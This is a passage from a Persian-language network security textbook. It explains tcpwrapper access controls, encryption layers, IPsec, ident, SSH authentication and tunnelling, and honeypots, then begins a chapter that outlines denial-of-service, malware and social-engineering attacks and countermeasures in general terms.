IP برای ایجاد امنیت طراحی نشده و در مقابل حملات عمدی مقاوم نیست، اما با تکنیکهای مختلفی می‌توان امنیت شبکه‌های IP را افزایش داد. برخی از این تکنیکها عبارتند از کنترلهای دسترسی برنامه، رمزنگاری، سیستمهای تصدیق هویت پیشرفته، SSH، و سیستمهای طعمه (کوزه‌های عسل). هر یک از این موارد ذیلاً به تفصیل شرح داده شده‌اند. علاوه بر اینها اقداماتی چون استفاده از دیواره‌های آتش (که پیشتر توضیح داده شد)، مقاوم ساختن میزبانهای سرویس‌دهنده (که در فصل ۵ از همین بخش مورد بررسی قرار گرفت)، و جدا کردن فیزیکی سیستمهای آسیب‌پذیر از شبکه نیز می‌توانند برای بالا بردن سطح امنیت بکار روند.

---

۲۹۳ *از نظر فنی، نام میزبانها نباید حاوی زیرخط باشند، اما بسیاری از سیستمهایی که نام میزبانها را به آدرس IP نگاشت می‌کنند بطور لجوجانه زیرخط را قبول می‌کنند و مایکروسافت نیز در سرویس Active Directory خود استفاده از آن را الزامی کرده، که این امر برخلاف حداقل یک RFC می‌باشد.*

۲۹۴ *برای اطلاعات بیشتر در مورد نام میزبان می‌توانید به RFCهای شمارهٔ ۱۱۲۲ و ۱۱۲۳ مراجعه کنید.*

کنترلهای دسترسی برنامه

بسیاری از برنامه‌های شبکه را می‌توان با فهرستهای کنترل دسترسی که تعیین می‌کنند کدام میزبانها اجازهٔ اتصال به برنامه را دارند پیکربندی کرد. (در یک پیکربندی با امنیت کمتر که رواج بیشتری دارد نیز می‌توان تعیین کرد که چه میزبانهایی اجازهٔ برقراری ارتباط را ندارند.)

در سیستمهای Unix یک مکانیزم استاندارد کنترل دسترسی برای برنامه‌ها حول یک نوع خاص از سیستم tcpwrapper[۲۹۵] وجود دارد. این سیستم متشکل است از یک کتابخانه برای بررسی کنترل دستیابی (lipwrap)، یک برنامهٔ wrapper برای اضافه کردن کنترلهای دسترسی به سرویس‌دهنده‌های شبکه که از این کتابخانه استفاده نمی‌کنند (tcpd)، و دو فایل پیکربندی کنترل دسترسی (etc/hosts.allow و etc/hosts.deny/). در سیستمهای جدید، /etc/hosts.deny باید شامل یک ضابطهٔ منع همه‌گیر ("ALL:ALL") و /etc/hosts.allow باید شامل ضوابطی برای اجازهٔ دسترسی به خدمات خاص توسط میزبانهای از پیش تعیین‌شده باشد.

سیستمهای tcpwrapper علاوه بر قبول یا رد اتصالات می‌توانند عملیاتی چون جستجوی بالعکس نام، ثبت اضافه، جستجوی ident روی اتصالات (در ادامه توضیح داده شده)، ارسال پیامهای اتصال به سرویس‌گیرنده‌هایی که متصل می‌شوند، و حتی اجرای دستورات کمکی برای بررسی رفتار سرویس‌گیرنده‌های متصل‌شونده به شبکه را نیز انجام دهند. به همین ترتیب tcpwrapperها می‌توانند نقایص برنامه‌ای سایر برنامه‌های سرویس‌دهندهٔ شبکه را جبران کنند.[۲۹۶]

در سیستم‌عاملهای دیگر معمولاً هر برنامه فهرستهای کنترل دسترسی خود را نگهداری و مدیریت می‌کند (و یا از صافیهای بسته مبتنی بر میزبان سیستم استفاده می‌نماید).

استفاده از رمزنگاری برای حفاظت شبکه‌های IP از استراق سمع

پروتکل IP برای انتقال بسته‌ها از یک رایانه به رایانهٔ دیگر طراحی شده و هیچ تضمینی در مورد اینکه رایانه‌های دیگر آن شبکه قادر به دریافت و خواندن بسته‌ها در همان لحظه هستند یا خیر ارائه نمی‌کند.

در شبکه‌های سیمی بدون سوئیچ و شبکه‌های Ethernet، از آنجا که هر میزبان روی شبکه می‌تواند بسته‌ها را دریافت کند، امکان استراق سمع بالا است. استفاده از یک سوئیچ Ethernet می‌تواند امکان استراق سمع را بطور قابل ملاحظه‌ای کاهش دهد. سوئیچ یک ابزار مخصوص شبکه است که بسته‌ها را تنها به رایانه‌های مقصد آنها می‌فرستد. با این وجود با برنامه‌ریزی سوئیچ برای ایجاد یک پورت انعکاسی یا یک پورت نظارت، و یا با حمله به سوئیچ برای به هم ریختن جداول داخلی آن که مربوط به رایانه‌ها و آدرسهای شبکه‌ای می‌شود، امکان نظارت بر ترافیک شبکه‌های سوئیچ نیز وجود دارد. هرچند شبکه‌های token ring ذاتاً شبکه‌های عام‌گستر نیستند، اما در عمل تمام بسته‌های انتقالی در آنها بطور متوسط از نیمی از واسطهای روی شبکه عبور می‌کنند و لذا نگرانیهای مشابهی در آنها نیز وجود دارد. همانطور که پیشتر در همین فصل بحث آن شد، خطوط تلفن و شبکه‌های بی‌سیم را نیز می‌توان شنود کرد؛ و به همین ترتیب انتقالات IP روی خطوط تلویزیون و یا خطوط برق نیز می‌تواند مورد استراق‌سمع قرار گیرد.

خلاصهٔ مطلب اینکه در بیشتر فناوریهای شبکه، جلوگیری و یا حتی شناسایی استراق‌سمع ممکن نیست و تنها باید فرض را بر آن گذاشت که ترافیک شبکه مورد استراق‌سمع قرار دارد و سعی کرد با استفاده از رمزگذاری، آنرا برای مهاجم غیرقابل استفاده نمود. البته باید درنظر داشت که حتی درصورت استفاده از رمزگذاری نیز آدرسها و پورتهای مبدأ و مقصد توسط مهاجم قابل کشف و استفاده برای تحلیل ترافیک هستند.

رمزگذاری به طرق مختلفی می‌تواند به افزایش امنیت IP کمک کند:

295 *Wietse Venemas' Tcpwrapper System*

۲۹۶ *برای جزئیات بیشتر درمورد پیکربندی tcpwrapper به صفحات ۳۱۵ تا ۳۲۳ کتاب PUIS مراجعه کنید.*

رمزگذاری در سطح ارتباط

با رمزگذاری در سطح ارتباط، بسته‌ها درصورت انتقال روی یک ارتباط داده‌ای ناامن بطور خودکار رمزگذاری و پس دریافت رمزگشایی می‌شوند. با اینکار استراق سمع شکست می‌خورد، چون مهاجم نمی‌داند چگونه باید بسته‌ها را رمزگشایی کند. رمزگذاری در سطح ارتباط در بسیاری از محصولات شبکه‌های رادیویی وجود دارد، اما در سایر فناوریهای عام‌گستر شبکه مثل Ethernet یا FDDI کمتر یافت می‌شود. برای مودمها و ارتباطات خطوط مستقیم استیجاری، رمزگذارهای اختصاصی ارتباط نیز بوجود آمده‌اند.

رمزگذاری در دو انتها

در این روش میزبان فرستنده، محتوای بسته‌ها را رمزگذاری می‌کند و هنگام دریافت بسته‌ها در طرف دیگر، این محتویات بطور خودکار رمزگشایی می‌شوند. سازمانهایی که در بیش از یک موقعیت فیزیکی قرار دارند برای اتصال به اینترنت از مسیریابهای رمزگذار بهره می‌گیرند. این مسیریابها بطور خودکار بسته‌هایی که از یک ادارهٔ شرکت به ادارهٔ دیگری فرستاده می‌شوند را بمنظور جلوگیری از استراق سمع مهاجمان اینترنتی رمزنگاری می‌کنند (این روش تحت عنوان VPN شناخته می‌شود)؛ اما در عین حال بسته‌هایی که از سازمان به پایگاههای دیگر فرستاده می‌شوند را رمزگذاری نمی‌نمایند.

امروزه این نوع رمزگذاری در سطح بسته بطور عام با استفاده از پروتکل IPsec انجام می‌گیرد (که در RFC شمارهٔ ۲۴۰۱ توضیح داده شده است). IPsec را می‌توان برای رمزگذاری غیرمحسوس تمامی ارتباطات میان دو میزبان، ارتباطات میان یک میزبان و یک شبکه، و یا ارتباطات میان دو شبکه بکار برد. استفاده از IPsec روش قدرتمندی برای رمزگذاری خودکار سیستمهایی است که قابلیت رمزگذاری ندارند.

رمزگذاری در سطح برنامه

بجای اتکا بر سخت‌افزارها برای رمزگذاری، می‌توان رمزگذاری را در سطح برنامه‌ها انجام داد. بعنوان مثال نسخهٔ Kerberos از دستور telnet قادر است بطور خودکار محتویات جریانهای دادهٔ telnet را در هر دو جهت رمزنگاری کند. پروتکل پوستهٔ امن (ssh) نیز بطور خودکار رمزگذاری جریان داده‌ها را انجام می‌دهد.

رمزگذاری در سطح برنامه همچنین می‌تواند از طریق ایجاد تونل یا استفاده از یک پروتکل ثانویه روی یک پروتکل سطح برنامه که درحال کار است انجام گیرد. بعنوان مثال پروتکل پوستهٔ امن این امکان را بوجود می‌آورد که پورتها و اتصالات TCP/IP بتوانند از طریق یک تونل رمزنگار از یک میزبان به میزبان دیگر منتقل شوند. با استفاده از پروتکلهای SSL و TLS روی سرویس‌دهنده‌ها و سرویس‌گیرنده‌های منفرد برنامه‌ای، آنها را نیز می‌توان به همین صورت ایمن نمود.

استفادهٔ صرف از رمزنگاری کافی نیست، بلکه برای ایجاد حفاظت، رمزگذاری باید بصورت صحیح پیاده‌سازی شود. همانطور که در بالا بحث شد، استاندارد اصلی رمزگذاری برای شبکه‌های محلی بی‌سیم مبتنی بر پروتکل 802.11b (WEP) بهیچوجه محرمانگی واقعی را ایجاد نمی‌کند؛ چراکه پیاده‌سازی آن دچار نقص است و یافتن کلید رمزگذاری مورد استفاده در سیستمهای WEP کار چندان مشکلی نیست.

سیستمهای تصدیق هویت پیشرفته

بسیاری از خدمات IP، سیستم قدرتمندی برای تصدیق هویت ایجابی ارائه نمی‌دهند و به همین دلیل مهاجم می‌تواند اطلاعاتی را بفرستد و ادعا کند که آن اطلاعات از مبدأ دیگری فرستاده شده‌اند. فقدان تصدیق هویت ایجابی، مشکلاتی را خصوصاً برای خدماتی نظیر DNS، پست الکترونیکی، و نیز شبکه‌های خبری (Usenetها) ایجاد می‌کند. در تمام این خدمات، گیرندهٔ پیام – چه یک رایانه و چه یک انسان – احتمالاً بر اساس محتوای پیام یک عمل اثباتی انجام خواهد داد، مستقل از اینکه فرستندهٔ پیام بدرستی تصدیق هویت شده باشد یا نه.

برای هر یک از این خدمات، سیستمهای تصدیق هویت بوجود آمده‌اند. DNS از امضای رمزشدهٔ داده‌های منطقه‌ای و تصدیق هویت سرویس‌دهنده‌های نام با استفاده از کلید خصوصی مشترک پشتیبانی می‌کند. سرویس‌دهنده‌های پستی قادرند فرستندگان معتبر را با استفاده از SMTP AUTH برای یک پایگاه داده تصدیق هویت کند و پیامهای شبکه‌های خبری را نیز می‌توان با نرم‌افزار PGP امضای رمزنگاری کرد. با اینحال امروز کاربرد این سیستمها چندان گسترده نیست.

IPsec که در بالا توضیح داده شد، امکان تصدیق هویت در سیستمهای مشابه را نیز فراهم می‌کند. احتمال زیادی وجود دارد که ترافیک IP که از طریق یک VPN اینچنینی دریافت می‌شود از همان منبعی باشد که ادعای آنرا دارد، اما در بیشتر خدمات اینترنتی از VPN استفاده نمی‌شود.

ident

بسیاری از مشکلات تصدیق هویت از آنجا ناشی می‌شود که پروتکل TCP/IP برای ایجاد کانالهای ارتباطی میان رایانه‌ها است و نه میان کاربران. هنگامیکه سرویس‌دهنده از سرویس‌گیرنده یک اتصال TCP/IP دریافت می‌کند، آدرس IP آنرا می‌داند. با این وجود سرویس‌دهنده‌ها هیچ راهی برای اطمینان از نام شخصی که ارتباط TCP/IP را برقرار کرده در دست ندارند.

زمانیکه پروتکل TCP/IP بوجود آمد نیازی به یک روش کلی احساس نمی‌شد که با استفاده از آن بتوان نام افرادی که اتصالهای TCP/IP برقرار می‌سازند را کشف کرد، و اینکار بعدها و با استفاده از پروتکلهایی که نام کاربری را الزامی می‌دانستند (بعنوان مثال SMTP، FTP) عملی شد. با رشد اینترنت، مدیران شبکه‌ها دلیل مهمی برای یافتن نام آغازگران اتصالات TCP/IP پیدا کردند؛ و آن دلیل چیزی نبود جز "مسئولیت‌پذیری". اگر راهبر راه دور یک سیستم متوجه شود که در ساعت ۱۷:۰۰ کاربری از یک رایانه به نام fas.harvard.edu رایانهٔ او را مورد حمله قرار داده، باید بتواند این حمله را ردگیری کند و کاربر و حساب کاربری مسئول حمله را شناسایی نماید، تا آن کاربر تنبیه شده و یا حساب کاربری مورد استفاده مسدود گردد.

پروتکل شناسایی با استفاده از یک روش سادهٔ تماس معکوس، شما را قادر به انجام اینکار می‌کند. زمانیکه یک سرویس‌دهنده قصد دارد پی به نام واقعی آغازگر اتصال TCP/IP ببرد، ابتدا یک اتصال با ident daemon (identd) روی رایانهٔ سرویس‌گیرنده برقرار ساخته و توصیفی از اتصال TCP/IP جاری به آن می‌فرستد؛ و سپس رایانهٔ راه دور نیز اطلاعات کاربر آغازگر اتصال را در قالب یک فایل قابل خواندن بازپس می‌فرستد.

در گذشته تنها اطلاعاتی که در پاسخ سیستم درخواست‌کننده فرستاده می‌شد نام کاربری کاربر بود، اما پیاده‌سازیهای اخیر identd امکان بازپس فرستاده شدن یک نشان رمزشده را نیز فراهم می‌کنند. این نشان پس از این مرحله می‌تواند در پایگاه راه دور و با مشارکت سایت اجراکننده identd رمزگشایی شود. این مسئله باعث جلوگیری از افشای نام کاربری کاربران یک میزبان راه دور با استفاده از identd و بدون مشارکت خود آن میزبان می‌شود.

عملکرد پروتکل شناسایی تا حد زیادی بستگی به صداقت رایانهٔ آغازگر اتصال TCP/IP دارد. اگر از طرف یک سیستم چندکاربره که مورد سوء استفاده قرار نگرفته به رایانه حمله شده باشد، در آنصورت identd ارزشمند خواهد بود، اما اگر سیستم از طرف یک رایانهٔ تک‌کاربره مورد حمله قرار گرفته باشد که فاقد سیستم identd است و یا اگر از identd استفاده می‌کند اطلاعات غلط و گمراه‌کننده می‌دهد، پاسخ فاقد ارزش است. از آنجا که شبکه‌های بزرگ گفتگوی عمومی اینترنتی، سرویس‌گیرنده‌ها را ملزم به اجرای یک ident daemon می‌کنند، لذا "ident daemon"های مبتنی بر Windows زیادی وجود دارند که پاسخهای جعلی ارائه می‌دهند.

بطور کلی پاسخهای identd بیش از پایگاهی که پاسخ را دریافت می‌کند مورد استفادهٔ راهبران پایگاهی هستند که پاسخ را می‌فرستد. بنابراین هرچند ممکن است ثبت queryهای identd به شما کمکی نکند، اما می‌تواند کمکی به دیگران باشد – این اطلاعات به پایگاه راه دور در کشف آن حساب کاربری که در حملهٔ احتمالی شرکت داشته است کمک می‌کند. چنین اطلاعاتی خصوصاً زمانی مفید خواهد بود که مهاجم فایلهای ثبت را پاک کرده و یا به پایگاه مبدأ صدمه وارد آورده باشد.

بیشترین استفاده از identd در شناسایی مهاجمانی بوده که حملات خود را از دانشگاهها و یا سایر سازمانهای دارای سیستمهای بزرگ و چندکاربرهٔ Unix انجام می‌داده‌اند. پایگاههای دارای کاربران بدون امتیاز دسترسی که بصورت تعاملی با سیستمهای Unix کار می‌کنند باید برای کمک به ردیابی حسابهای کاربری درگیر در رخداد، identd را راه‌اندازی کنند.

پوستهٔ امن (SSH)

SSH که در ابتدا توسط *تاتو ایلونن*[۲۹۷] شکل گرفت پروتکلی با قابلیت رمزنگاری برای ورود از راه دور، نسخه‌برداری از فایلها، و تونل زدن اتصال TCP است (که کاربران SSH آنرا بعنوان "هدایت پورت" نیز می‌شناسند). اگرچه پروتکل SSH در ابتدا فقط بصورت یک ابزار در خط فرمان Unix پیاده‌سازی شده بود، اما امروزه پیاده‌سازیهای مختلف این پروتکل توسط دهها برنامه و روی بسترهای گوناگون بکار گرفته می‌شود. محبوبترین پیاده‌سازیهای SSH عبارتند از SSH اولیهٔ ایلونن، و نیز OpenSSH که در پروژهٔ Open-BSD بوجود آمد. علاوه بر اینها برنامه‌های سرویس‌گیرنده و سرویس‌دهندهٔ تجاری SSH نیز وجود دارند.

SSH به یک قسمت حیاتی زیربنای امنیتی شبکه تبدیل شده؛ چراکه می‌تواند جایگزین پروتکلها و برنامه‌های زیادی شود که همگی رمزهای عبور را بصورت متن‌ساده انتقال می‌دهند (از جمله telnet، rlogin، rsh، rcp، rdist و ftp). بعلاوه قابلیت تونل زدن اتصال TCP امکان استفاده از SSH بعنوان پایهٔ شبکه‌های خصوصی مجازی را نیز بوجود می‌آورد. SSH پشتیبانی مخصوصی برای تونل زدن پروتکل X-Windows دارد.

دو نسخه از پروتکل SSH بوجود آمده که هر دوی این نسخه‌ها اجازهٔ تبادل رمز متقارن را می‌دهند. نسخهٔ اول برای تصدیق هویت و تبادل اولیهٔ کلید، بر الگوریتم رمزگذاری کلید عمومی RSA و تبادل کلید اولیه مبتنی است و نسخهٔ دوم با استفاده از الگوریتمهای رمزگذاری کلید عمومی DSA و RSA پروتکل را گسترش داده و بسیاری از معایب نسخهٔ اول را نیز اصلاح کرده است. به همین دلیل استفاده از نسخهٔ دوم این پروتکل توصیه می‌شود.

تصدیق هویت میزبان توسط SSH

فرض بر این است که هر میزبان که سرویس‌دهندهٔ SSH روی آن اجرا می‌شود، زوج کلید عمومی و خصوصی RSA خاص خود (که *کلید میزبان SSH*[۲۹۸] نامیده می‌شود) را دارا است. سرویس‌دهنده‌های نسخهٔ دوم، جفت‌کلید ثانویه‌ای نیز دارند که "کلید DSA میزبان" نام دارد و از الگوریتم رمزگذاری DSA استفاده می‌کند. غالب قطعه‌برنامه‌های راه‌اندازی SSH – اگر این کلید از قبل وجود نداشته باشد – آنرا هنگام اولین راه‌اندازی سرویس‌دهنده بصورت خودکار ایجاد می‌کنند.

زمانیکه یک سرویس‌گیرندهٔ SSH به سرویس‌دهنده متصل می‌شود، سرویس‌دهنده کلید عمومی خود را ارائه می‌دهد. این کلید دو کاربرد دارد. اول اینکه سرویس‌گیرنده از این کلید برای رمزگذاری اطلاعاتی که در طول عملیات تصدیق هویت به سرویس‌دهنده می‌فرستد استفاده می‌کند؛ و دوم اینکه برای سرویس‌دهنده بعنوان معرف هویت آن است. هر بار که یک سرویس‌گیرنده به سرویس‌دهنده متصل می‌شود، سرویس‌دهنده کلید عمومی یکسانی ارائه می‌دهد و بنابراین مشتری می‌تواند در هر بار اتصال به سرویس‌دهنده تشخیص دهد که با همان سرویس‌دهندهٔ قبلی در تماس است.

کلید میزبان در برابر دو نوع حمله ایجاد محافظت می‌کند. اول اینکه به شما اطمینان می‌دهد که با میزبان صحیح در ارتباط هستید. اگر میزبانی که قصد ارتباط با آنرا دارید آدرس IP خود را تغییر داده باشد و یا نام DNS جدیدی داشته باشد (و یا اگر شخصی به سیستم DNS شما حمله کرده و این سیستم آدرسهای IP ناصحیح را توزیع کند)، سرویس‌گیرندهٔ SSH متوجه می‌شود که میزبان جدید یک کلید میزبان متفاوت از آدرس قدیمی دارد و در آنصورت شما متوجه می‌شوید که نباید رمز عبور خود را وارد کنید. دوم اینکه با کلید میزبان اطمینان می‌یابید که یک ارتباط رمزشده و مستقیم با سرویس‌دهندهٔ راه دور خواهید داشت و هیچ رایانه‌ای در طول مسیر

297 *Tatu Ylonen*
298 *SSH HostKey*

قادر به انجام حملهٔ "شخص در میان راه" نیست. برای انجام یک حملهٔ موفق از این نوع، مهاجم ناچار به استفاده از کلید عمومی خود است – یک کلید عمومی که کلید خصوصی متناظر آنرا داشته باشد.

متأسفانه بنظر می‌رسد که کلیدهای میزبان طبق قاعدهٔ منظمی تغییر می‌کنند – گاهی هنگامیکه که یک سیستم‌عامل جدید نصب می‌شود، یا زمانیکه یک نصب جدید از SSH به اشتباه بجای حفظ کلید قبلی و استفاده از آن یک کلید میزبان جدید تولید می‌نماید. بنابراین هرگاه کلید میزبان سرویس‌دهندهٔ طرف ارتباط تغییر کند، نباید بلافاصله نتیجه گرفت که سرویس‌دهنده مورد سوء استفاده قرار گرفته و یا یک حملهٔ "شخص در میان راه" درحال وقوع است؛ بلکه باید دید که دلیل تغییر کلید چه بوده است.

تصدیق هویت سرویس‌گیرنده با استفاده از SSH

زمانیکه یک سرویس‌گیرنده به سرویس‌دهندهٔ SSH متصل می‌شود، سرویس‌گیرنده نام کاربری حسابی که قصد استفاده از آن دارد را ارائه می‌دهد، و سپس برای اثبات این ادعا یک سند تصدیق هویت ارائه می‌کند. درصورتیکه سرویس‌دهنده آن سند را معتبر تشخیص دهد، یک نسخه از پوسته برای آن کاربر ایجاد می‌کند و کاربر را وارد آن می‌سازد.

SSH برای تصدیق هویت سرویس‌گیرنده‌ها روی سیستم‌عامل سرویس‌دهنده، روشهای امنیتی مختلفی دارد:[۲۹۹]

- سرویس‌گیرنده‌ها می‌توانند یک رمز عبور معتبر برای حساب کاربری موجود روی سرویس‌دهندهٔ راه دور ارائه کنند. این رمز عبور بصورت متن‌ساده منتقل نمی‌شود.
- سرویس‌گیرنده‌ها می‌توانند برای اثبات هویت خود از رمزنگاری کلید عمومی استفاده کنند. در اینصورت سرویس‌گیرنده باید یک کلید عمومی ارائه دهد که در فایل کلیدهای مجاز مشتری وجود داشته باشد و مشتری بتواند اطلاعاتی که با این کلید رمزگذاری شده‌اند را رمزگشایی کند.
- سرویس‌گیرنده‌ها می‌توانند با استفاده از Kerberos، رمز عبور یکبار مصرف، و یا سایر سیستمهای درخواست / پاسخِ موجود در سرویس‌دهنده، تصدیق هویت شوند.

تونل زدن اتصال TCP

SSH قادر است یک اتصال TCP را بصورت تونل میان سرویس‌دهنده و یک سرویس‌گیرندهٔ ثانویه برقرار کند. ابتدا از سرویس‌گیرندهٔ SSH استفاده می‌شود تا اتصالی با سرویس‌دهندهٔ SSH روی ماشین راه دور برقرار شود و درخواست ایجاد تونل به یک پورت دیگر آن ماشین ارسال گردد. چنانچه تصدیق هویت سرویس‌گیرندهٔ SSH موفقیت‌آمیز باشد و اتصالِ آن برقرار گردد، این سرویس‌گیرنده روی یک پورت جدید رایانهٔ میزبان خود به انتظار می‌ایستد؛ سرویس‌دهندهٔ SSH اتصالی با سرویس‌دهندهٔ دومی که روی ماشین راه دور است برقرار می‌سازد؛ سرویس‌گیرندهٔ دوم به برقراری اتصال با پورت جدید میزبان محلی هدایت می‌شود و داده‌های دریافتی از این پورت جدید توسط SSH به سرویس‌دهندهٔ sshd انتقال می‌یابد، و آن نیز داده‌ها را به سرویس‌دهندهٔ راه دور دوم می‌فرستد.

برخی از پروتکلها را نمی‌توان با یک تونل سادهٔ TCP محافظت کرد. مثلاً برای حفاظت از FTP باید از چندین تونل استفاده کرد (که پیش‌بینی برخی از آنها مشکل است) و بنابراین بیشتر نسخه‌های SSH، یک سرویس‌گیرندهٔ FTP جایگزین دارند[۳۰۰] که مطابق انتظاری که کاربران از FTP دارند کار می‌کند، اما اتصالات SSH را بکار می‌برد. پروتکل X-Windows نیز از مشکلات مشابهی رنج می‌برد، اما در بیشتر برنامه‌های SSH، برای تونل زدن اتصال X-Windows پشتیبانی خاص وجود دارد. بجای اجرای سرویس‌گیرندهٔ راه دور X روی یک سرویس‌دهندهٔ محلی X، SSH یک نمایشگر مجازی X و یک تونل ایجاد می‌کند که سرویس‌گیرندهٔ راه دور به آسانی می‌تواند از آن برای ایجاد ارتباط با سرویس‌دهندهٔ محلی (از طریق SSH) استفاده کند.

---

۲۹۹ *SSH روشهای با امنیت کمتر نیز دارد که بر اساس آدرس IP سرویس‌گیرنده کار می‌کنند و عموماً باید از بکار بردن آنها اجتناب کرد.*

۳۰۰ *این سرویس‌گیرنده معمولاً sftp نامیده می‌شود.*

سیستمهای طعمه

یک روش جدید برای مقابله با مهاجمان، برپایی سیستمهای طعمه برای آنان است تا بجای سیستمهای اصلی به آنها حمله کنند، و لذا سیستمهای طعمه معمولاً به شدت تحت نظارت قرار دارند. در این سیستمها تعمداً آسیب‌پذیریهای شناخته‌شده را قرار می‌دهند تا احتمال مورد حمله قرار گرفتن آنها بالا رود. سیستمهای طعمه که گاهی "کوزهٔ عسل" نیز نامیده می‌شوند دو مزیت اصلی دارند:

۱. از آنجا سیستمهای طعمه به شدت تحت نظارت قرار دارند، می‌توان از آنها برای شناسایی مهاجمان استفاده کرد. با این سیستمها می‌توان موقعیت، تکنیک، انگیزه، سطح مهارت، اهداف، و سایر اطلاعات مربوط به مهاجمان را بدست آورد.
۲. درصورتیکه یک سیستم طعمه به اندازهٔ کافی غنی و جذاب باشد، کاوش در آن ممکن است آنقدر وقت مهاجم را بگیرد که دیگر فرصتی برای حمله به سیستمهای اصلی پیدا نکند.

سیستمهای طعمه فارغ از مخاطرات نیستند. ممکن است مهاجمان مطلب مهمی در این سیستمها بیابد. شما باید کاملاً اطمینان داشته باشید که هیچ چیزی در سیستمهای طعمه وجود ندارد که مهاجمان بتوانند از آن برای ضربه زدن به شما سوء استفاده کنند. خصوصاً سیستم طعمه نباید هیچ اطلاعاتی در مورد سازمان شما داشته باشد. برای اطمینان از این مسائل می‌توان تنها رایانه‌های نو را بعنوان سیستمهای طعمه بکار برد. همچنین اگر سازمان به دیوارهٔ آتش مجهز باشد، سیستم طعمه باید خارج از آن قرار بگیرد.

مخاطرهٔ دوم سیستمهای طعمه این است که ممکن است از آنها بعنوان سکویی برای حمله به رایانه‌های دیگر در اینترنت استفاده شود، که در اینصورت شما مسئولیت مدنی خسارات وارده به شخص ثالث و یا حتی مسئولیت جزائی توطئه‌های احتمالی را برعهده خواهید داشت.

بدلیل این مخاطرات، باید پیش از برپایی هرگونه سیستم طعمه یا کوزهٔ عسل بدقت فکر کنید و ترجیحاً با یک حقوقدان زبده نیز مشورت نمایید.

فصل هشتم
انواع حملات و روشهای مقابله با آنها

کلیات

برای حمله به ایستگاههای کاری و سرویس‌دهنده‌ها از فنون بسیاری استفاده شده است. این فنون بطور کلی به سه دستهٔ مجزا تقسیم می‌شوند:

حملات تخریب سرویس و بهره‌برداری از راه دور

در بسیاری از رایانه‌ها آسیب‌پذیریهایی وجود دارد که باعث می‌شود مهاجمان بتوانند سیستم را از کار بیاندازند. در بسیاری از موارد این نوع حمله می‌تواند روی شبکه، حتی بدون ورود به سیستم انجام پذیرد. در موارد دیگر مهاجمان برای نفوذ و تسخیر سیستمهای آسیب‌پذیر، نیاز به دسترسی به شبکه دارند.

تهدیدات برنامه‌ای

راه دیگر تسخیر یک سیستم توسط مهاجم، فرستادن یک برنامهٔ مخرب به کاربران سیستم و انتظار برای اجرای این برنامه توسط آنها است. برخی از این برنامه‌ها، سرویسهای پنهانی نصب می‌کنند که کنترل رایانه را از راه دور به مهاجم می‌دهد؛ و برخی دیگر تکثیر یافته و میان رایانه‌ها انتقال می‌یابند.

مهندسی اجتماعی[۳۰۱]

در یک حملهٔ مهندسی اجتماعی، مهاجم از خصوصیات طبیعی و اجتماعی کاربران و راهبران سیستمهای شما استفاده می‌کند تا آنها را به فاش کردن اسرار یا انجام کارهای مخل امنیت وادارد.

در این بخش هر یک از انواع این حملات به همراه توصیه‌هایی برای مقابله با آنها بطور جداگانه مورد بررسی قرار می‌گیرند.

حملات تخریب سرویس

حملهٔ تخریب سرویس، حمله‌ای است که در آن مهاجم آنقدر از یک منبع به‌اشتراک گذاشته‌شدهٔ سیستم استفاده می‌کند که چیزی از آن برای کاربران دیگر باقی نمی‌ماند. این نوع حملات، *قابلیت دسترسی*[۳۰۲] منابع را مورد هجوم قرار می‌دهند. این منابع می‌توانند پردازه‌ها، فضای دیسک، زمان پردازنده، کاغذ چاپگر، مودم و یا وقت راهبر یک سیستم قربانی باشند. نتیجهٔ این حمله مختل شدن و یا از کار افتادن سرویس می‌باشد.

بطور کلی دو نوع حملهٔ تخریب سرویس وجود دارد که در ادامهٔ این فصل به آنها پرداخته شده است.

301 Social Engineering
302 Availability

حملات تخریب[۳۰۳]

چنین حمله‌هایی به منابع صدمه می‌زنند یا آنها را تخریب می‌کنند، بطوریکه شما دیگر نمی توانید از آنها استفاده‌کنید. مثلاً از کار انداختن یک دیسک و درنتیجه از کار افتادن رایانه یا پاک کردن فایلهای حیاتی سیستم.

راههای بسیاری برای از بین بردن و یا ایجاد اختلال در اطلاعات وجود دارد که می‌تواند به تخریب سرویس منجر شود. می‌توان با محدود کردن دسترسی به فایلهای حیاتی و محافظت از آنها در برابر کاربران غیرمجاز، تقریباً از تمامی حملات شناخته‌شده جلوگیری کرد. درصورتیکه برای حفاظت از سیستم از تدابیر مناسب امنیتی بهره ببرید، خود به خود از وقوع این قبیل حملات مخرب نیز جلوگیری کرده‌اید.

حملات بارگذاری بیش از حد[۳۰۴]

اینگونه حملات، بار بسیار زیادی روی برخی خدمات سیستم می‌گذارند و یا تمام توانایی برخی منابع را مصرف می‌کنند، و درنتیجه جلوی استفادهٔ دیگران از آن خدمات را می‌گیرند. ساده‌ترین نوع بارگذاری، پرکردن یک partition از دیسک است که در نتیجهٔ آن کاربران و برنامه‌های سیستمی نمی‌توانند فایل جدیدی ایجاد نمایند. بارگذاری روی یک شبکه می‌تواند بمباران یک سرویس‌دهندهٔ شبکه با درخواستهای بیشمار باشد، بطوریکه سرویس‌دهنده قادر به پردازش آنها نباشد؛ و یا مشغول نگهداشتن اتصال اینترنتی یک سازمان، بگونه‌ای که پهنای باندی برای فرستادن اطلاعات مفید باقی نماند.

بسیاری از سیستم‌عاملهای جدید، از مکانیزمهایی برای دفاع در برابر اینگونه حملات برخوردارند. شما ممکن است قادر به محدود کردن حداکثر تعداد مجاز پردازه‌ها و فایلهای یک کاربر، فضای دیسک مختص هر کاربر، و یا حتی میزان زمان ریزپردازنده که هر کاربر می‌تواند مصرف کند باشید. خدمات شبکه‌ای را می‌توان از جهت سرعت و زمان ریزپردازنده محدود کرد. با این وجود بسیاری از سیستمها هنوز در برابر حمله‌های تخریب سرویس آسیب‌پذیر هستند، چراکه تنظیمات حفاظتی عموماً انجام نگرفته و یا به درستی اعمال نشده‌اند.

